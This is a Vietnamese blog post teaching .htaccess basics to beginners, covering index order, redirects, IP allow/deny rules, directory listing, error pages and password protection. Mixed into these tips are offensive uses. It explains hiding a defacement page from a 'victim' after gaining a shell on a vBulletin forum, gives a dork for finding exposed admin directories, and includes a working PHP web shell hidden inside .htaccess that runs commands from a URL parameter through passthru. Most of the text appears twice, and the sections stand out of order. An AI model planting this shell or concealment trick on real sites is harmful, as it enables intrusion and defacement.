Hôm nay có nguời pm hỏi mình về cách dùng file htaccess.Cái này trên mạng không thiếu.Nhưng tổng hợp lại cho vào tài liệu căn bản cho mấy newbie học.Những cái căn bản cũng là cái quan trọng mà :)).Sau đây là chức năng của nó.
1.Dùng để qui định thứ tự của index:
DirectoryIndex index.php index.htm index.html defaul.html
Câu lệnh trên qui định thứ tự index.Nếu cái đầu không có (index.php) .Nó sẽ hiện cái file tiếp theo là index.html làm index cho site .( thực tế là index cho thư mục chưa file .htacess).
Ví dụ khi có shell rồi,deface forum vbulletin vớu file index.html ở thư mục /includes/index.html.Thì mình quăng file .htaccess vào thư mục root với nội dung như sau
DirectoryIndex defaul.html index.htm /incudes/index.html index.php
nếu victim gà quá.Thì nó ko biết các tìm cái index bị deface đâu :))
2.Redirect về địa chỉ mới:
Giả sử muốn làm cho guest khi vào site A nhưng lại nhảy sang site B (trường hợp bạn có nhiều tên miền chẳng hạn).
Redirect /forum/index.php http://huynhdegroup.net/@vhb@/index.php
hoặc có thể là
Redirect /forum http://huynhdegroup.net/
3.Chặn ip ,cho phép ip
Ví dụ nếu như bạn dùng ip tĩnh là 201.192.129.19.Muốn ngăn chặn mọi nguời khác vào thư mục admincp đi.Thì bạn up file .htaccess với nội dung sau.
Allow from 201.192.129.19 // nó sẽ cho mỗi bạn vào thôi.
tương tự một số mẫu sau
Deny from 201.192.129 // cấm người dùng có giải ip 201.192.129
Deny from all // cấm tất cả nguời dùng truy cập
Nếu trong một file htaccess vừa có Allow vừa có Deny.Thì ta dùng hàm Order để qui định độ ưu tiên
Order allow,deny // ưu tiên allow trước deny
4.Ẩn file nếu không có index:
Nếu trong thư mục của bạn mà không có file index ( các file mặc định).Thì khi người dùng truy cập vào thư mục đó nó sẽ tự hiện ra tất cả các file.Ta vẫn dùng dork intitle:"Index of /admin/" để tìm các site bị kiểu này.
Nếu bạn muốn ẩn tất cả các file trong thư mục đó đi thì dùng câu lệnh sau
Options -Indexes
5.Thông báo các lỗi mặc định:
Để thay thế các trang thông báo lỗi mặc định như.
400 : Error bad request
401 : Authorization required
403 : Forbidden
404 : Wrong page
500 : Internal Server Error
Nếu bị các lỗi này site tự đưa ra thông báo mặc định.Ta có thể thay đổi các trang thông báo đó bằng dòng sau trong file .htaccess
ErrorDocument 400 /new_file.html
Chúng ta thay số báo hiệu lỗi 400 bằng các số báo hiệu lỗi tương ứng.
6.Dùng để ẩn shell
Mình sẽ minh họa một ví dụ dùng chính con htaccess này làm shell
AddType application/x-httpd-php .htaccess
# Hàm addtype này cho phép chạy file .htaccess như một file thực thi.
###### SHELL ###### <?php echo "\n";passthru($_GET['huynhde']." 2>&1"); ?>
#Hàm trên ta cho phép thực thi comment thông qua hàm passthru() của php.
sau khi up lênh ta thực thi command như sau
http://site.com/path/.htaccess?huynhde=command
7.Bảo vệ thư mục và bảo vệ file :
7.1 Bảo vệ thư mục
trong đó file cần phảo vệ là private1.html và private2.html
Nó sẽ yêu cầu user và pass nằm ở file /.htpasswd
Muốn tạo đc file htpassword thì bạn có thể dùng lệnh htpasswd trong linux
root@bt:~# htpasswd -c .htpasswd huynhde
New password: *******
Re-type new password: *******
Adding password for user huynhde
dùng lệnh show file ẩn ra (ls -la) để lấy file đó mà dùng .
1.Dùng để qui định thứ tự của index:
DirectoryIndex index.php index.htm index.html defaul.html
Câu lệnh trên qui định thứ tự index.Nếu cái đầu không có (index.php) .Nó sẽ hiện cái file tiếp theo là index.html làm index cho site .( thực tế là index cho thư mục chưa file .htacess).
Ví dụ khi có shell rồi,deface forum vbulletin vớu file index.html ở thư mục /includes/index.html.Thì mình quăng file .htaccess vào thư mục root với nội dung như sau
DirectoryIndex defaul.html index.htm /incudes/index.html index.php
nếu victim gà quá.Thì nó ko biết các tìm cái index bị deface đâu :))
2.Redirect về địa chỉ mới:
Giả sử muốn làm cho guest khi vào site A nhưng lại nhảy sang site B (trường hợp bạn có nhiều tên miền chẳng hạn).
Redirect /forum/index.php http://huynhdegroup.net/@vhb@/index.php
hoặc có thể là
Redirect /forum http://huynhdegroup.net/
3.Chặn ip ,cho phép ip
Ví dụ nếu như bạn dùng ip tĩnh là 201.192.129.19.Muốn ngăn chặn mọi nguời khác vào thư mục admincp đi.Thì bạn up file .htaccess với nội dung sau.
Allow from 201.192.129.19 // nó sẽ cho mỗi bạn vào thôi.
tương tự một số mẫu sau
Deny from 201.192.129 // cấm người dùng có giải ip 201.192.129
Deny from all // cấm tất cả nguời dùng truy cập
Nếu trong một file htaccess vừa có Allow vừa có Deny.Thì ta dùng hàm Order để qui định độ ưu tiên
Order allow,deny // ưu tiên allow trước deny
4.Ẩn file nếu không có index:
Nếu trong thư mục của bạn mà không có file index ( các file mặc định).Thì khi người dùng truy cập vào thư mục đó nó sẽ tự hiện ra tất cả các file.Ta vẫn dùng dork intitle:"Index of /admin/" để tìm các site bị kiểu này.
Nếu bạn muốn ẩn tất cả các file trong thư mục đó đi thì dùng câu lệnh sau
Options -Indexes
5.Thông báo các lỗi mặc định:
Để thay thế các trang thông báo lỗi mặc định như.
400 : Error bad request
401 : Authorization required
403 : Forbidden
404 : Wrong page
500 : Internal Server Error
Nếu bị các lỗi này site tự đưa ra thông báo mặc định.Ta có thể thay đổi các trang thông báo đó bằng dòng sau trong file .htaccess
ErrorDocument 400 /new_file.html
Chúng ta thay số báo hiệu lỗi 400 bằng các số báo hiệu lỗi tương ứng.
6.Dùng để ẩn shell
Mình sẽ minh họa một ví dụ dùng chính con htaccess này làm shell
AddType application/x-httpd-php .htaccess
# Hàm addtype này cho phép chạy file .htaccess như một file thực thi.
###### SHELL ###### <?php echo "\n";passthru($_GET['huynhde']." 2>&1"); ?>
#Hàm trên ta cho phép thực thi comment thông qua hàm passthru() của php.
sau khi up lênh ta thực thi command như sau
http://site.com/path/.htaccess?huynhde=command
7.Bảo vệ thư mục và bảo vệ file :
7.1 Bảo vệ thư mục
7.2 bảo vệ file<Files ".ht*"> order allow,deny deny from all </Files> AuthUserFile /full/path/to/.htpasswd AuthType Basic AuthName "Please Login" require valid-user
<Files ".ht*">
order allow,deny
deny from all
</Files>
<Files private1.html private2.html>
AuthUserFile /full/path/to/.htpasswd
AuthType Basic
AuthName "Please Login"
Require valid-user
</Files>
trong đó file cần phảo vệ là private1.html và private2.html
Nó sẽ yêu cầu user và pass nằm ở file /.htpasswd
Muốn tạo đc file htpassword thì bạn có thể dùng lệnh htpasswd trong linux
root@bt:~# htpasswd -c .htpasswd huynhde
New password: *******
Re-type new password: *******
Adding password for user huynhde
dùng lệnh show file ẩn ra (ls -la) để lấy file đó mà dùng .
Không có nhận xét nào:
Đăng nhận xét